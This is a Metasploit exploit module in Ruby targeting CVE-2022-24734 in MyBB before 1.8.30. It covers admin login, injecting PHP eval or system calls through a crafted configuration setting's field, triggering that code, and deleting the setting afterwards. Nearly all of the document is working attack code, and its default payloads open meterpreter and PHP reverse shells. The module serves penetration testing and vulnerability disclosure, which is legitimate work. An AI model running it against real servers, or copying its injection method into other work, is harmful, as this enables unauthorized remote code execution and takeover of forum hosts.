## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'MyBB Admin Control Code Injection RCE', 'Description' => %q{ This exploit module leverages an improper input validation vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in the context of the user running the application. MyBB Admin Control setting page calls PHP `eval` function with an unsanitized user input. The exploit adds a new setting, injecting the payload in the vulnerable field, and triggers its execution with a second request. Finally, it takes care of cleaning up and removes the setting. Note that authentication is required for this exploit to work and the account must have rights to add or update settings (typically, myBB administrator role). }, 'License' => MSF_LICENSE, 'Author' => [ 'Cillian Collins', # vulnerability research 'Altelus', # original PoC 'Christophe De La Fuente' # MSF module ], 'References' => [ [ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'], [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'], [ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'], [ 'CVE', '2022-24734'] ], 'Platform' => %w[php unix linux win], 'Privileged' => false, 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :in_memory } ], [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' }, 'Type' => :in_memory } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :dropper } ], [ 'Windows (In-Memory)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }, 'Type' => :in_memory } ], [ 'Windows (Dropper)', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Type' => :dropper } ] ], 'DisclosureDate' => '2022-03-09', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]), OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]), OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/']) ] ) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'vars_get' => { 'intcheck' => 1 } }) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 # see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310 unless res.body.include?('MYBB') return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}") end print_good("MyBB forum found running at #{target_uri.path}") return CheckCode::Detected end def login vprint_status('Attempting login') cookie_jar.cleanup(true) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/admin/index.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'do' => 'login' } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/) fail_with(Failure::NoAccess, "#{peer} - Invalid credentials") end print_good('Login successful!') end def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true) req_hash = { 'uri' => normalize_uri(target_uri.path, '/admin/index.php'), 'method' => method, 'vars_get' => { 'module' => 'config-settings', 'action' => action }.merge(vars_get) } req_hash['vars_post'] = vars_post unless vars_post.blank? res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2) if check_response && res.nil? fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") end res end def exploit login res = send_config_settings if res.body.include?('Access Denied') fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting") end vprint_status('Adding a malicious settings') doc = res.get_html_document @my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text case target['Type'] when :in_memory execute_command(payload.encoded) when :dropper execute_cmdstager end end def send_payload(cmd) vprint_status('Adding a crafted configuration setting entry with the payload') cmd = cmd.gsub(/\\/, '\\' => '\\\\') cmd = cmd.gsub(/"/, '"' => '\\"') cmd = cmd.gsub(/\$/, '$' => '\\$') case target['Platform'] when 'php' extra = "\" . eval(\"#{cmd}\") .\"" when 'win' if target['Arch'] == ARCH_CMD # Force cmd to run in the background (only works for `cmd`) extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\"" else extra = "\" . system(\"#{cmd}\") .\"" end else extra = "\" . system(\"#{cmd} > /dev/null &\") .\"" end post_data = { my_post_key: @my_post_key, title: Rex::Text.rand_text_alpha(rand(8...16)), description: Rex::Text.rand_text_alpha(rand(8...16)), gid: 1, disporder: '', name: Rex::Text.rand_text_alpha(rand(8...16)), type: "\tphp", extra: extra, value: Rex::Text.rand_text_alpha(rand(8...16)) } res = send_config_settings(method: 'POST', vars_post: post_data) unless res.code == 302 doc = res.get_html_document err = doc.xpath('//div[@class="error"]').text fail_with(Failure::Unknown, "#{peer} - The module expected a 302 response but received: "\ "#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}") end vprint_good('Payload successfully sent') end def trigger_payload vprint_status('Triggering the payload execution') # We're not expecting response to this query send_config_settings(action: 'change', check_response: false) end def remove_setting vprint_status('Removing the configuration setting') vprint_status('Grab the delete parameters') res = send_config_settings(action: 'manage') if res.body.include?('MyBB Control Panel - Login') # this exploit seems to logout users sometimes, so, try to login again and retry print_status('User session is not valid anymore. Trying to login again to cleanup') login res = send_config_settings(action: 'manage') end doc = res.get_html_document control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href') uri = control_links.detect do |href| href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}") end if uri.nil? print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup") return end vprint_status('Send the delete request') params = uri.text.split('?')[1] get_data = CGI.parse(params).transform_values(&:join) send_config_settings(method: 'POST', vars_get: get_data) end def execute_command(cmd, _opt = {}) send_payload(cmd) trigger_payload remove_setting print_status('Shell incoming...') end end